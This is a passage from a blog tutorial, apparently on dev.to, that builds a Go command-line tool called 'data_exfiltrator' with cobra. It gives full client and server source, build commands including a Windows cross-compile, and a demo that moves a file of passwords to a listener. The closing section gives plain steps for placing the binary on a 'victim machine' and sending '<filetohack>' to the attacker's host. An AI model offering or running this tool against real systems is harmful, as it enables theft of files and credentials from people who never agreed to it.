&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will initialize your application and you will see lot of files created.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
├── cmd
│   └── root.go
├── go.mod
├── go.sum
├── LICENSE
├── main.go
└── server
    └── server.go
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Firstly, &lt;code&gt;cobra&lt;/code&gt; creates &lt;code&gt;main.go&lt;/code&gt; from where our application will begin. Secondly, it creates &lt;code&gt;cmd&lt;/code&gt; file which contains &lt;code&gt;root.go&lt;/code&gt;. This is the file which will be executed from &lt;code&gt;main.go&lt;/code&gt; and will contain what we need to do when we run &lt;code&gt;main.go&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;We wish to add sub-commands like &lt;code&gt;client&lt;/code&gt; and &lt;code&gt;server&lt;/code&gt; as described earlier. For this we can run&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cobra add client

$ cobra add server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will modify the &lt;code&gt;cmd&lt;/code&gt; directory to add two more files named &lt;code&gt;client.go&lt;/code&gt; and &lt;code&gt;server.go&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
├── cmd
│   ├── client.go
│   ├── root.go
│   └── server.go
├── go.mod
├── go.sum
├── LICENSE
├── main.go
└── server
    └── server.go
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our server and client files reside in &lt;code&gt;server/server.go&lt;/code&gt; and &lt;code&gt;client/client.go&lt;/code&gt; which are different from the &lt;code&gt;server.go&lt;/code&gt; and &lt;code&gt;client.go&lt;/code&gt; created by &lt;code&gt;cobra&lt;/code&gt; in &lt;code&gt;cmd&lt;/code&gt; directory.&lt;/p&gt;

&lt;p&gt;When we will run &lt;code&gt;go run main.go client&lt;/code&gt; then the &lt;code&gt;cmd/client.go&lt;/code&gt; will be invoked and when we will execute &lt;code&gt;go run main.go server&lt;/code&gt; then the &lt;code&gt;cmd/server.go&lt;/code&gt; will be invoked.&lt;/p&gt;

&lt;p&gt;Right now if we observe our &lt;code&gt;client/client.go&lt;/code&gt; and &lt;code&gt;server/server.go&lt;/code&gt; are part of &lt;code&gt;main&lt;/code&gt; package. We can't use &lt;code&gt;main&lt;/code&gt; as package for them because we don't want to create separate binaries for them, so we will convert &lt;code&gt;client/client.go&lt;/code&gt; to become package &lt;code&gt;client&lt;/code&gt; and for &lt;code&gt;server/server.go&lt;/code&gt; we will use package name &lt;code&gt;server&lt;/code&gt;. To do this just simply change their package names from &lt;code&gt;main&lt;/code&gt; to &lt;code&gt;client&lt;/code&gt; or &lt;code&gt;server&lt;/code&gt; accordingly.&lt;/p&gt;

&lt;p&gt;Now as we are running these file separately so we will remove the &lt;code&gt;main&lt;/code&gt; function and create different functions for them.&lt;br&gt;
For &lt;code&gt;client/client.go&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package client

import (
    "bufio"
    "fmt"
    "net"
    "os"
)

const connType = "tcp"

func checkFile(file string) error {
    _, err := os.Stat(file)
    return err
    // check file permissions as well
}

func ExfiltrateFile(fileName, connHost, connPort string) error {

    // stat file
    if checkFile(fileName) != nil {
        return fmt.Errorf("FileNotFound: Not able to find the file %s", fileName)
    }

    // check connection

    fmt.Printf("Connecting %s:%s over %s\n", connHost, connPort, connType)
    conn, err := net.Dial(connType, connHost+":"+connPort)
    if err != nil {
        fmt.Println(err.Error())
        return fmt.Errorf("HostNotReachable: Not able to connect %s:%s", connHost, connPort)
    }
    defer conn.Close()
    //transfer file
    file, err := os.Open(fileName)
    if err != nil {
        return fmt.Errorf("FilePermission: Not able to read file %s", fileName)
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        var b = make([]byte, 2, 3)

        // We add \n because scanner.Text() removes the ending newline character
        conn.Write([]byte(scanner.Text() + "\n"))

        // Wait for the server message to indicate that the line is written
        conn.Read(b)
    }
    return nil
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As we notice in the above file we don't have main function, rather we are using &lt;code&gt;ExfiltrateFile&lt;/code&gt; as the function which takes &lt;code&gt;fileName&lt;/code&gt; , &lt;code&gt;connHost&lt;/code&gt; and &lt;code&gt;connPort&lt;/code&gt; as arguments. &lt;/p&gt;

&lt;p&gt;Now try to understand what we are doing here. We will pass option from the shell to accept file names, host and port. They will be passed in the &lt;code&gt;root.go&lt;/code&gt;. &lt;code&gt;root.go&lt;/code&gt; will determine what subcommand we are using, &lt;code&gt;client&lt;/code&gt; or &lt;code&gt;server&lt;/code&gt; by the command we have typed. Suppose if we are running &lt;code&gt;client&lt;/code&gt; sub-command then &lt;code&gt;cmd/client.go&lt;/code&gt; will be invoked with the appropriate flags (file names, host and port passed from shell). Once &lt;code&gt;cmd/client.go&lt;/code&gt; get these flags, it will call &lt;code&gt;ExfiltrateFile()&lt;/code&gt; function from &lt;code&gt;client/client.go&lt;/code&gt; and pass these flags as arguments. The &lt;code&gt;ExfiltrateFile()&lt;/code&gt; function will run the the client logic we built earlier. &lt;/p&gt;

&lt;p&gt;This also goes for &lt;code&gt;server/server.go&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package server

import (
    "bufio"
    "fmt"
    "net"
    "os"
)

const (
    connType = "tcp"
)

func Serve(fileName, connHost, connPort string) error {

    fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)
    conn, err := net.Listen(connType, connHost+":"+connPort)
    if err != nil {
        return fmt.Errorf("ConnectionError: Not able to connect %s", connHost+":"+connPort)
    }
    defer conn.Close()

    // running the loop for listening all the connections
    fmt.Println("Listening ... ")
    for {
        // Start accepting the connections
        client, err := conn.Accept()
        if err != nil {
            panic(err.Error())
        }
        fmt.Println("Client", client.RemoteAddr().String(), "connected")
        go handleClientConnection(client, fileName)
        fmt.Println("You can press Ctrl+c to terminate the program")
    }
}

func handleClientConnection(conn net.Conn, fileName string) {
    // handling buffer writes
    // it take the connection and then creates the buffer
    file, err := os.Create(fileName)
    if err != nil {
        panic(err)
    }
    defer close(file)
    for {
        buffer, err := bufio.NewReader(conn).ReadBytes('\n')
        if err != nil {
            fmt.Println("Client left")
            conn.Close()
            return
        }
        file.WriteString(string(buffer[:]))

        // Sending a reply back to client for synchronous connection
        conn.Write([]byte("Y\n"))
    }

}
func close(file *os.File) {
    fmt.Println("Closing the file")
    fmt.Println()
    fmt.Println("Listening ... (press Ctrl+c to terminate)")
    file.Close()
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here we use the &lt;code&gt;Serve&lt;/code&gt; function to start a TCP server by accepting file name, host and port as parameters&lt;/p&gt;

&lt;p&gt;If we carefully observe the &lt;code&gt;handleConnection&lt;/code&gt; function then we are now outputting everything to a file and not to the console. This file name is received from the &lt;code&gt;--output&lt;/code&gt; or &lt;code&gt;-o&lt;/code&gt; option in the &lt;code&gt;cmd/server.go&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;Now our client and server logic is ready to be used. We just need to modify the &lt;code&gt;cmd/client.go&lt;/code&gt; and &lt;code&gt;cmd/server.go&lt;/code&gt; to pass the flags to the &lt;code&gt;client&lt;/code&gt; and &lt;code&gt;server&lt;/code&gt; accordingly.&lt;br&gt;
So the &lt;code&gt;cmd/client.go&lt;/code&gt; is&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package cmd

import (
    "log"

    "github.com/dunefro/data_exfiltrator/client"
    "github.com/spf13/cobra"
)

// clientCmd represents the client command
var clientCmd = &amp;amp;cobra.Command{
    Use:   "client",
    Short: "to run the client",
    Long:  `Running the client for data exfiltrator`,
    Run: func(cmd *cobra.Command, args []string) {

        fileName, _ := cmd.Flags().GetString("file")
        host, _ := cmd.Flags().GetString("host")
        port, _ := cmd.Flags().GetString("port")

        err := client.ExfiltrateFile(fileName, host, port)
        if err != nil {
            log.Println("Failed to transfer the file")
            log.Fatal(err.Error())
        } else {
            log.Println("Successful: File was transferred")
        }

    },
}

func init() {
    rootCmd.AddCommand(clientCmd)

    // defining flags for client
    clientCmd.PersistentFlags().StringP("file", "f", "", "file(text) name which you want to transfer (required)")
    clientCmd.MarkPersistentFlagRequired("file")
    clientCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")
    clientCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the &lt;code&gt;init()&lt;/code&gt; function we have flags that are available with the &lt;code&gt;client&lt;/code&gt; sub-command. These are &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;host&lt;/code&gt; and &lt;code&gt;port&lt;/code&gt; which can be invoked with &lt;code&gt;--&lt;/code&gt; for shell arguments. We have only marked one of the options as mandatory with &lt;code&gt;client&lt;/code&gt; sub-command i.e. &lt;code&gt;file&lt;/code&gt;. Logically the client must pass some file to exfiltrate. If &lt;code&gt;host&lt;/code&gt; and &lt;code&gt;port&lt;/code&gt; are not specified then we will use default value &lt;code&gt;127.0.0.1&lt;/code&gt; and &lt;code&gt;8080&lt;/code&gt;. This is mentioned in the 3rd argument of each flag. We can use the small option &lt;code&gt;p&lt;/code&gt; for port as &lt;code&gt;-p&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Once this is initialized the function in the &lt;code&gt;Run&lt;/code&gt; will be executed and we can get all the values passed for each argument in the command invoked by using &lt;code&gt;cmd.Flags()&lt;/code&gt;. So&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fileName, _ := cmd.Flags().GetString("file")
host, _ := cmd.Flags().GetString("host")
port, _ := cmd.Flags().GetString("port")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gives the value of &lt;code&gt;fileName&lt;/code&gt;, &lt;code&gt;host&lt;/code&gt; and &lt;code&gt;port&lt;/code&gt; passed in the command. Once we have them we invoke the &lt;code&gt;ExfiltrateFile()&lt;/code&gt; function from the &lt;code&gt;client/client.go&lt;/code&gt; which we have imported in the &lt;code&gt;cmd/client.go&lt;/code&gt; by&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"example.com/data_exfiltrator/client"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and so now to call the exfiltrate function&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;client.ExfiltrateFile(fileName, host, port)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This happens for &lt;code&gt;server.go&lt;/code&gt; as well&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package cmd

import (
    "fmt"

    "example.com/data_exfiltrator/server"
    "github.com/spf13/cobra"
)

// serverCmd represents the server command
var serverCmd = &amp;amp;cobra.Command{
    Use:   "server",
    Short: "creating server",
    Long:  `This will create a server at a specified port for connection and output to directed file`,
    Run: func(cmd *cobra.Command, args []string) {
        fileName, _ := cmd.Flags().GetString("output")
        host, _ := cmd.Flags().GetString("host")
        port, _ := cmd.Flags().GetString("port")

        err := server.Serve(fileName, host, port)
        if err != nil {
            fmt.Println(err.Error())
        }
    },
}

func init() {
    rootCmd.AddCommand(serverCmd)

    // defining flags
    serverCmd.PersistentFlags().StringP("output", "o", "", "output(text file) to transfer the data (required)")
    serverCmd.MarkPersistentFlagRequired("output")
    serverCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")
    serverCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For the &lt;code&gt;serve&lt;/code&gt; sub-command we are using &lt;code&gt;output&lt;/code&gt; as the option for outputting what we receive from the client. This is a compulsory option and must be passed when invoking &lt;code&gt;server&lt;/code&gt; sub-command. We have &lt;code&gt;host&lt;/code&gt; and &lt;code&gt;port&lt;/code&gt; similar to &lt;code&gt;client&lt;/code&gt; sub-command. We call the server function by -&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;server.Serve(fileName, host, port)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and pass the output file, host and port.&lt;/p&gt;

&lt;p&gt;Finally the &lt;code&gt;root.go&lt;/code&gt; will be&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package cmd

import (
    "os"

    "github.com/spf13/cobra"
)

// rootCmd represents the base command when called without any subcommands
var rootCmd = &amp;amp;cobra.Command{
    Use:   "data_exfiltrator [command]",
    Short: "Exfiltrate your files from one location to another",
    Long:  `Application to build data exfiltrator`,
    // Uncomment the following line if your bare application
    // has an action associated with it:
    // Run: func(cmd *cobra.Command, args []string) { },
}

// Execute adds all child commands to the root command and sets flags appropriately.
// This is called by main.main(). It only needs to happen once to the rootCmd.
func Execute() {
    err := rootCmd.Execute()
    if err != nil {
        os.Exit(1)
    }
}

func init() {
    // Here you will define your flags and configuration settings.
    // Cobra supports persistent flags, which, if defined here,
    // will be global for your application.

    // rootCmd.PersistentFlags().StringVar(&amp;amp;cfgFile, "config", "", "config file (default is $HOME/.data_exfiltrator.yaml)")

    // Cobra also supports local flags, which will only run
    // when this action is called directly.
    // rootCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle")
    // Add version here
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For &lt;code&gt;root.go&lt;/code&gt; we have disabled the &lt;code&gt;Run&lt;/code&gt; flag to hold any function. This is because we don't want to do anything until a sub-command like &lt;code&gt;client&lt;/code&gt; or &lt;code&gt;server&lt;/code&gt; is passed to it.&lt;/p&gt;

&lt;p&gt;So now we will build everything and test. To build&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go build
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will create a binary called &lt;code&gt;data_exfiltrator&lt;/code&gt;. Run this binary simply by&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ./data_exfiltrator                                               
Application to build data exfiltrator

Usage:
  data_exfiltrator [command]

Available Commands:
  client      to run the client
  completion  Generate the autocompletion script for the specified shell
  help        Help about any command
  server      creating server

Flags:
  -h, --help   help for data_exfiltrator

Use "data_exfiltrator [command] --help" for more information about a command.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We will try to run a server&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ./data_exfiltrator server -o something.txt  --host 192.168.56.178 --port 8080
Starting tcp server on 192.168.56.178:8080
Listening ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we will try to run the client&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ./data_exfiltrator client
Error: required flag(s) "file" not set
Usage:
  data_exfiltrator client [flags]

Flags:
  -f, --file string   file(text) name which you want to transfer (required)
  -h, --help          help for client
      --host string   host that you wish to connect (default "127.0.0.1")
  -p, --port string   port that you wish to connect (default "8080")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will fail because as we have mentioned we need to pass the option &lt;code&gt;--file&lt;/code&gt; for this, so&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ./data_exfiltrator client -f client/sample_input.txt --host 192.168.56.178 --port 8080
Connecting 192.168.56.178:8080 over tcp
2022/01/23 22:43:27 Successful: File was transferred
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The terminal 1 where server ran is now showing&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ./data_exfiltrator server -o something.txt  --host 192.168.56.178 --port 8080
Starting tcp server on 192.168.56.178:8080
Listening ... 
Client 192.168.56.178:34154 connected
You can press Ctrl+c to terminate the program
Client left
Closing the file

Listening ... (press Ctrl+c to terminate)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Press Ctrl+C to check the file &lt;code&gt;something.txt&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cat something.txt         
password1
password2
password3
password4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The file is &lt;strong&gt;exfiltrated&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Making it Windows and Linux suitable
&lt;/h3&gt;

&lt;p&gt;During exfiltration my main issue was that I was not able to run some program on windows which I was easily able to run on Linux. As Golang provides us with this ability I built the same binary for windows as well. &lt;/p&gt;

&lt;p&gt;Let's check how to do that - &lt;br&gt;
To make the file windows specific&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ GOOS=windows GOARCH=amd64 go build .
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will create a file called &lt;code&gt;data_exfiltrator.exe&lt;/code&gt; which you can now run on windows.&lt;/p&gt;

&lt;p&gt;Generally the scenario is to hack files from windows and hackers have Linux as their own host. That's why having &lt;code&gt;data_exfiltrator.exe&lt;/code&gt; and &lt;code&gt;data_exfiltrator&lt;/code&gt; will be very helpful because we can now mix and match the use cases to a wide range.&lt;/p&gt;

&lt;h3&gt;
  
  
  How to use the above file
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Once you have built the binary, go over to the victim machine, and keep this binary over there. if it's windows then copy the windows binary for the same.&lt;/li&gt;
&lt;li&gt;On your local machine run the server by &lt;code&gt;./data_exfiltrator server --ouput &amp;lt;outputfile&amp;gt; --host &amp;lt;yourIP&amp;gt; --port &amp;lt;yourPort&amp;gt;&lt;/code&gt; command. If you local is also  windows then run &lt;code&gt;./data_exilftrator.exe server&lt;/code&gt; with similar flags.&lt;/li&gt;
&lt;li&gt;Now on the victim side run &lt;code&gt;./data_exfiltrator.exe client -f &amp;lt;filetohack&amp;gt; --host &amp;lt;serverhost&amp;gt; --port &amp;lt;serverport&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;You will get the &lt;code&gt;&amp;lt;filetohack&amp;gt;&lt;/code&gt; file in your local with the name &lt;code&gt;&amp;lt;outputfile&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The above program if read in a single take might become a nightmare to perform that's why I made it a point to distribute it in lot of small chunks. The main takeaway is to understand the logic of socket programming and how to create a CLI application in Golang.&lt;br&gt;
To get the complete source code you can refer to &lt;a href="https://github.com/dunefro/data_exfiltrator"&gt;GITHUB&lt;/a&gt;. Let me know what do you think about this.&lt;/p&gt;

&lt;h4&gt;
  
  
  References
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://blog.knoldus.com/create-kubectl-like-cli-with-go-and-cobra/"&gt;https://blog.knoldus.com/create-kubectl-like-cli-with-go-and-cobra/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/aurelievache/learning-go-by-examples-part-3-create-a-cli-app-in-go-1h43"&gt;https://dev.to/aurelievache/learning-go-by-examples-part-3-create-a-cli-app-in-go-1h43&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/spf13/cobra"&gt;https://github.com/spf13/cobra&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>go</category>
      <category>programming</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
